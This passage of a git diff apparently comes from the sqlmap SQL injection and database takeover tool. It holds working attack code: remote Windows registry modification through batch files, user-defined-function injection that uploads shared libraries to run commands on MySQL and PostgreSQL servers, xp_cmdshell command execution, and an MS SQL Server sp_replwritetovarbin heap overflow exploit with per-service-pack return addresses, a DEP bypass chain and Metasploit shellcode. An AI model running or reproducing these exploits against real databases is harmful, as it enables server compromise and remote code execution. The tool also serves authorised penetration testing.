debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote) + debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func) logger.debug(debugMsg) diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index 62cebfc26..7672c2e2f 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -37,20 +37,20 @@ class Registry: This class defines methods to read and write Windows registry keys """ - def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False): + def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False): self.__regKey = regKey - self.__regName = regName - self.__regType = regType self.__regValue = regValue + self.__regType = regType + self.__regData = regData self.__randStr = randomStr(lowercase=True) self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr) self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr) if parse == True: - readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n" + readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" else: - readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"" + readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"" self.__batRead = ( "@ECHO OFF\r\n", @@ -59,24 +59,15 @@ class Registry: self.__batAdd = ( "@ECHO OFF\r\n", - "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue) + "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData) ) self.__batDel = ( "@ECHO OFF\r\n", - "REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName) + "REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue) ) - def __execBatPathRemote(self): - if kb.dbms == "Microsoft SQL Server": - cmd = self.xpCmdshellForgeCmd(self.__batPathRemote) - else: - cmd = self.__batPathRemote - - self.execCmd(cmd) - - def __createLocalBatchFile(self): self.__batPathFp = open(self.__batPathLocal, "w") @@ -102,38 +93,49 @@ class Registry: os.unlink(self.__batPathLocal) - def readRegKey(self, regKey, regName, parse): + def readRegKey(self, regKey, regValue, parse=False): self.__operation = "read" - self.__initVars(regKey, regName, parse=parse) + self.__initVars(regKey, regValue, parse=parse) self.__createRemoteBatchFile() - logger.debug("reading registry key '%s' name '%s'" % (regKey, regName)) + logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue)) - return self.evalCmd(self.__batPathRemote) + if not parse: + first = len(regKey) + 6 + else: + first = None + + data = self.evalCmd(self.__batPathRemote, first) + + self.delRemoteTempFile(self.__batPathRemote, bat=True) + + return data - def addRegKey(self, regKey, regName, regType, regValue): + def addRegKey(self, regKey, regValue, regType, regData): self.__operation = "add" - self.__initVars(regKey, regName, regType, regValue) + self.__initVars(regKey, regValue, regType, regData) self.__createRemoteBatchFile() - debugMsg = "adding registry key name '%s' " % self.__regName + debugMsg = "adding registry key value '%s' " % self.__regValue debugMsg += "to registry key '%s'" % self.__regKey logger.debug(debugMsg) - self.__execBatPathRemote() + self.execCmd(cmd=self.__batPathRemote, forgeCmd=True) + self.delRemoteTempFile(self.__batPathRemote, bat=True) - def delRegKey(self, regKey, regName): + def delRegKey(self, regKey, regValue): self.__operation = "delete" - self.__initVars(regKey, regName) + self.__initVars(regKey, regValue) self.__createRemoteBatchFile() - debugMsg = "deleting registry key name '%s' " % self.__regName + debugMsg = "deleting registry key value '%s' " % self.__regValue debugMsg += "from registry key '%s'" % self.__regKey logger.debug(debugMsg) - self.__execBatPathRemote() + self.execCmd(cmd=self.__batPathRemote, forgeCmd=True) + self.delRemoteTempFile(self.__batPathRemote, bat=True) diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index f26edb29c..983eea8eb 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -24,9 +24,21 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +import os + +from lib.core.agent import agent +from lib.core.common import readInput from lib.core.convert import urlencode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.dump import dumper +from lib.core.exception import sqlmapFilePathException +from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapUnsupportedFeatureException from lib.request import inject +from lib.techniques.outband.stacked import stackedTest class UDF: @@ -37,20 +49,71 @@ class UDF: def __init__(self): self.createdUdf = set() + self.udfs = {} self.udfToCreate = set() - def udfExecCmd(self, cmd, silent=False): + def __askOverwriteUdf(self, udf): + message = "UDF '%s' already exists, do you " % udf + message += "want to overwrite it? [y/N] " + output = readInput(message, default="N") + + if output and output[0] in ("y", "Y"): + return True + else: + return False + + + def __checkExistUdf(self, udf): + logger.info("checking if UDF '%s' already exist" % udf) + + query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf)) + exists = inject.getValue(query, resumeValue=False, unpack=False) + + if exists == "1": + return True + else: + return False + + + def udfCheckAndOverwrite(self, udf): + exists = self.__checkExistUdf(udf) + overwrite = True + + if exists is True: + overwrite = self.__askOverwriteUdf(udf) + + if overwrite is True: + self.udfToCreate.add(udf) + + + def udfCreateSupportTbl(self, dataType): + debugMsg = "creating a support table to write commands standard " + debugMsg += "output to" + logger.debug(debugMsg) + + self.createSupportTbl(self.cmdTblName, self.tblField, dataType) + + + def udfExecCmd(self, cmd, silent=False, udfName=None): cmd = urlencode(cmd, convall=True) - inject.goStacked("SELECT sys_exec('%s')" % cmd, silent) + if udfName is None: + cmd = "'%s'" % cmd + udfName = "sys_exec" + + inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) - def udfEvalCmd(self, cmd): + def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): cmd = urlencode(cmd, convall=True) - inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd)) - output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False) + if udfName is None: + cmd = "'%s'" % cmd + udfName = "sys_eval" + + inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) + output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if isinstance(output, (list, tuple)): @@ -62,6 +125,258 @@ class UDF: return output - def udfInit(self): - errMsg = "udfInit() method must be defined within the plugin" + def udfCreateFromSharedLib(self): + errMsg = "udfSetRemotePath() method must be defined within the plugin" raise sqlmapUnsupportedFeatureException, errMsg + + + def udfSetRemotePath(self): + errMsg = "udfSetRemotePath() method must be defined within the plugin" + raise sqlmapUnsupportedFeatureException, errMsg + + + def udfInjectCmd(self): + errMsg = "udfInjectCmd() method must be defined within the plugin" + raise sqlmapUnsupportedFeatureException, errMsg + + + def udfInjectCore(self, udfDict): + for udf in udfDict.keys(): + if udf in self.createdUdf: + continue + + self.udfCheckAndOverwrite(udf) + + if len(self.udfToCreate) > 0: + self.udfSetRemotePath() + self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", False) + + for udf, inpRet in udfDict.items(): + if udf in self.udfToCreate and udf not in self.createdUdf: + self.udfCreateFromSharedLib(udf, inpRet) + + if kb.dbms == "MySQL": + supportTblType = "longtext" + elif kb.dbms == "PostgreSQL": + supportTblType = "text" + + self.udfCreateSupportTbl(supportTblType) + + + def udfInjectCustom(self): + if kb.dbms not in ( "MySQL", "PostgreSQL" ): + errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms + raise sqlmapUnsupportedFeatureException, errMsg + + stackedTest() + + if kb.stackedTest == False: + return + + self.checkDbmsOs() + + if self.isDba() == False: + warnMsg = "the functionality requested might not work because " + warnMsg += "the session user is not a database administrator" + logger.warn(warnMsg) + + if not conf.shLib: + msg = "which is the local path of the shared library? " + + while True: + self.udfLocalFile = readInput(msg) + + if self.udfLocalFile: + break + else: + logger.warn("you need to specify the local path of the shared library") + else: + self.udfLocalFile = conf.shLib + + if not os.path.exists(self.udfLocalFile): + errMsg = "the specified shared library file does not exist" + raise sqlmapFilePathException, errMsg + + if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"): + errMsg = "shared library file must end with '.dll' or '.so'" + raise sqlmapMissingMandatoryOptionException, errMsg + + elif self.udfLocalFile.endswith(".so") and kb.os == "Windows": + errMsg = "you provided a shared object as shared library, but " + errMsg += "the database underlying operating system is Windows" + raise sqlmapMissingMandatoryOptionException, errMsg + + elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux": + errMsg = "you provided a dynamic-link library as shared library, " + errMsg += "but the database underlying operating system is Linux" + raise sqlmapMissingMandatoryOptionException, errMsg + + self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] + self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] + + msg = "how many user-defined functions do you want to create " + msg += "from the shared library? " + + while True: + udfCount = readInput(msg, default=1) + + if isinstance(udfCount, str) and udfCount.isdigit(): + udfCount = int(udfCount) + + if udfCount <= 0: + logger.info("nothing to inject then") + return + else: + break + + elif isinstance(udfCount, int): + break + + else: + logger.warn("invalid value, only digits are allowed") + + for x in range(0, udfCount): + while True: + msg = "what is the name of the UDF number %d? " % (x + 1) + udfName = readInput(msg) + + if udfName: + self.udfs[udfName] = {} + break + else: + logger.warn("you need to specify the name of the UDF") + + if kb.dbms == "MySQL": + defaultType = "string" + elif kb.dbms == "PostgreSQL": + defaultType = "text" + + self.udfs[udfName]["input"] = [] + + default = 1 + msg = "how many input parameters takes UDF " + msg += "'%s'? (default: %d) " % (udfName, default) + + while True: + parCount = readInput(msg, default=default) + + if isinstance(parCount, str) and parCount.isdigit() and int(parCount) >= 0: + parCount = int(parCount) + break + + elif isinstance(parCount, int): + break + + else: + logger.warn("invalid value, only digits >= 0 are allowed") + + for y in range(0, parCount): + msg = "what is the data-type of input parameter " + msg += "number %d? (default: %s) " % ((y + 1), defaultType) + + while True: + parType = readInput(msg, default=defaultType) + + if isinstance(parType, str) and parType.isdigit(): + logger.warn("you need to specify the data-type of the parameter") + + else: + self.udfs[udfName]["input"].append(parType) + break + + msg = "what is the data-type of the return " + msg += "value? (default: %s) " % defaultType + + while True: + retType = readInput(msg, default=defaultType) + + if isinstance(retType, str) and retType.isdigit(): + logger.warn("you need to specify the data-type of the return value") + + else: + self.udfs[udfName]["return"] = retType + break + + self.udfInjectCore(self.udfs) + + msg = "do you want to call your injected user-defined " + msg += "functions now? [Y/n/q] " + choice = readInput(msg, default="Y") + + if choice[0] not in ( "y", "Y" ): + self.cleanup(udfDict=self.udfs) + return + + while True: + udfList = [] + msg = "which UDF do you want to call?" + + for udf, inpRet in self.udfs.items(): + udfList.append(udf) + msg += "\n[%d] %s" % (len(udfList), udf) + + msg += "\n[q] Quit" + + while True: + choice = readInput(msg) + + if choice[0] in ( "q", "Q" ): + break + + if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): + choice = int(choice) + break + + elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): + break + + else: + warnMsg = "invalid value, only digits >= 1 and " + warnMsg += "<= %d are allowed" % len(udfList) + logger.warn(warnMsg) + + cmd = "" + count = 1 + udfToCall = udfList[choice - 1] + + for inp in self.udfs[udfToCall]["input"]: + msg = "what is the value of the parameter number " + msg += "%d (data-type: %s)? " % (count, inp) + + while True: + parValue = readInput(msg) + + if parValue: + if "int" not in inp and "bool" not in inp: + parValue = "'%s'" % parValue + + cmd += "%s," % parValue + + break + else: + logger.warn("you need to specify the value of the parameter") + + count += 1 + + cmd = cmd[:-1] + msg = "do you want to retrieve the return value of the " + msg += "UDF? [Y/n] " + choice = readInput(msg, default="Y") + + if choice[0] in ("y", "Y"): + output = self.udfEvalCmd(cmd, udfName=udfToCall) + + if output: + dumper.string("return value", output) + else: + print "No return value" + else: + self.udfExecCmd(cmd, udfName=udfToCall, silent=True) + + msg = "do you want to call this or another injected UDF? [Y/n] " + choice = readInput(msg, default="Y") + + if choice[0] not in ("y", "Y"): + break + + self.cleanup(udfDict=self.udfs) diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 0a8fe9b62..236982032 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -134,20 +134,20 @@ class xp_cmdshell: inject.goStacked(cmd, silent) - def xpCmdshellEvalCmd(self, cmd): + def xpCmdshellEvalCmd(self, cmd, first=None, last=None): self.getRemoteTempPath() tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile)) self.xpCmdshellExecCmd(cmd) - self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10))) - cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\")) - self.xpCmdshellExecCmd(cmd) + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10))) - output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False) - self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName) + self.delRemoteTempFile(tmpFile) + + output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last) + inject.goStacked("DELETE FROM %s" % self.cmdTblName) if isinstance(output, (list, tuple)): output = output[0] diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 6b45e00da..40a181ac1 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -45,7 +45,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request -def bisection(payload, expression, length=None, charsetType=None): +def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host @@ -56,6 +56,24 @@ def bisection(payload, expression, length=None, charsetType=None): asciiTbl = getCharset(charsetType) + if "LENGTH(" in expression or "LEN(" in expression: + firstChar = 0 + elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, str) and conf.firstChar.isdigit() ) ): + firstChar = int(conf.firstChar) - 1 + elif firstChar is None: + firstChar = 0 + elif ( isinstance(firstChar, str) and firstChar.isdigit() ) or isinstance(firstChar, int): + firstChar = int(firstChar) - 1 + + if "LENGTH(" in expression or "LEN(" in expression: + lastChar = 0 + elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, str) and conf.lastChar.isdigit() ) ): + lastChar = int(conf.lastChar) + elif lastChar in ( None, "0" ): + lastChar = 0 + elif ( isinstance(lastChar, str) and lastChar.isdigit() ) or isinstance(lastChar, int): + lastChar = int(lastChar) + if kb.dbmsDetected: _, _, _, _, _, _, fieldToCastStr = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) @@ -73,9 +91,12 @@ def bisection(payload, expression, length=None, charsetType=None): if length == 0: return 0, "" - showEta = conf.eta and isinstance(length, int) + if lastChar > 0 and length > ( lastChar - firstChar ): + length = ( lastChar - firstChar ) + + showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) - threads = [] + threads = [] if showEta: progress = ProgressBar(maxValue=length) @@ -133,8 +154,8 @@ def bisection(payload, expression, length=None, charsetType=None): if conf.threads > 1 and isinstance(length, int) and length > 1: - value = [None] * length - index = [0] # As list for python nested function scoping + value = [ None ] * length + index = [ firstChar ] # As list for python nested function scoping idxlock = threading.Lock() iolock = threading.Lock() @@ -156,7 +177,7 @@ def bisection(payload, expression, length=None, charsetType=None): charStart = time.time() val = getChar(curidx) - if val == None: + if val is None: raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length) value[curidx-1] = val @@ -224,14 +245,14 @@ def bisection(payload, expression, length=None, charsetType=None): dataToStdout(infoMsg) else: - index = 0 + index = firstChar while True: index += 1 charStart = time.time() val = getChar(index, asciiTbl) - if val == None: + if val is None or ( lastChar > 0 and index > lastChar ): break finalValue += val diff --git a/lib/utils/resume.py b/lib/utils/resume.py index 37c9e7067..fbc77931b 100644 --- a/lib/utils/resume.py +++ b/lib/utils/resume.py @@ -107,7 +107,7 @@ def resume(expression, payload): if resumedValue[-1] == "]": resumedValue = resumedValue[:-1] - infoMsg = "read from file '%s': " % conf.sessionFile + infoMsg = "read from file '%s': " % conf.sessionFile logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S) if logValue: diff --git a/plugins/dbms/mssqlserver.py b/plugins/dbms/mssqlserver.py index 92d21a99a..8e9b98ec5 100644 --- a/plugins/dbms/mssqlserver.py +++ b/plugins/dbms/mssqlserver.py @@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +import binascii import os import time @@ -257,7 +258,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov infoMsg = "the back-end DBMS operating system is %s" % kb.os - self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") + self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) versions = { @@ -417,12 +418,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov txtTbl = self.fileTblName hexTbl = "%shex" % self.fileTblName - self.createSupportTbl(txtTbl, self.tblField, "text") - inject.goStacked("DROP TABLE %s" % hexTbl) - inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) + self.createSupportTbl(txtTbl, self.tblField, "text") + inject.goStacked("DROP TABLE %s" % hexTbl) + inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) logger.debug("loading the content of file '%s' into support table" % rFile) - inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) # Reference: http://support.microsoft.com/kb/104829 binToHexQuery = """ @@ -593,22 +594,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) - def overflowBypassDEP(self): - self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe") - - if self.bypassDEP == False: - return - else: - warnMsg = "sqlmap tried to add the expection for " - warnMsg += "'sqlservr.exe' within the registry, but will not " - warnMsg += "restart the MSSQLSERVER process to avoid denial " - warnMsg += "of service. The buffer overflow trigger could not " - warnMsg += "work, however sqlmap will give it a try. Soon " - warnMsg += "it will come a new MS09-004 exploit to " - warnMsg += "automatically bypass DEP." - logger.warn(warnMsg) - - def spHeapOverflow(self): """ References: @@ -617,83 +602,109 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov """ returns = { - "2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll) - "2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll) - } - retAddr = None + # 2003 Service Pack 0 + "2003-0": ( "" ), - for version, data in returns.items(): - sp = data[0] - address = data[1] + # 2003 Service Pack 1 + "2003-1": ( "CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), + + # 2003 Service Pack 2 updated at 12/2008 + "2003-2": ( "CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), + + # 2003 Service Pack 2 updated at 09/2009 + #"2003-2": ( "CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)" ), + } + addrs = None + + for versionSp, data in returns.items(): + version, sp = versionSp.split("-") + sp = int(sp) if kb.osVersion == version and kb.osSP == sp: - retAddr = address + addrs = data break - if retAddr == None: + if addrs is None: errMsg = "sqlmap can not exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " - errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP) + errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP) raise sqlmapUnsupportedFeatureException, errMsg + shellcodeChar = "" + hexStr = binascii.hexlify(self.shellcodeString[:-1]) + + for hexPair in range(0, len(hexStr), 2): + shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2] + + shellcodeChar = shellcodeChar[:-1] + self.spExploit = """ DECLARE @buf NVARCHAR(4000), @val NVARCHAR(4), @counter INT SET @buf = ' - declare @retcode int, - @end_offset int, - @vb_buffer varbinary, - @vb_bufferlen int - exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' + DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int + EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' SET @val = CHAR(0x41) SET @counter = 0 WHILE @counter < 3320 BEGIN - SET @counter = @counter + 1 - IF @counter = 411 - BEGIN - /* Return address */ - SET @buf = @buf + %s + SET @counter = @counter + 1 + IF @counter = 411 + BEGIN + /* pointer to call [ecx+8] */ + SET @buf = @buf + %s - /* Nopsled */ - SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90) - SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + /* push ebp, pop esp, ret 4 */ + SET @buf = @buf + %s - /* Metasploit shellcode stage 1 */ - SET @buf = @buf + %s + /* push ecx, pop esp, pop ebp, retn 8 */ + SET @buf = @buf + %s - /* Unroll the stack and return */ - CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ - CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ - CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ - CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ - CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ - CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ - CHAR(0xc3) + /* Garbage */ + SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51) - SET @counter = @counter + 302 - SET @val = CHAR(0x43) - CONTINUE - END - SET @buf = @buf + @val + /* retn 1c */ + SET @buf = @buf + %s + + /* retn 1c */ + SET @buf = @buf + %s + + /* anti DEP */ + SET @buf = @buf + %s + + /* jmp esp */ + SET @buf = @buf + %s + + /* jmp esp */ + SET @buf = @buf + %s + + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + + set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00) + set @buf = @buf + CHAR(0x8B)+CHAR(0xEC) + set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20) + + /* Metasploit shellcode */ + SET @buf = @buf + %s + + SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3) + SET @counter = @counter + 302 + SET @val = CHAR(0x43) + CONTINUE + END + SET @buf = @buf + @val END SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' EXEC master..sp_executesql @buf - """ % (retAddr, self.shellcodeChar) + """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar) self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") self.spExploit = urlencode(self.spExploit, convall=True) diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py index 18ebef644..0942b55d9 100644 --- a/plugins/dbms/mysql.py +++ b/plugins/dbms/mysql.py @@ -33,7 +33,6 @@ from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp from lib.core.common import randomInt from lib.core.common import randomStr -from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -62,8 +61,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, 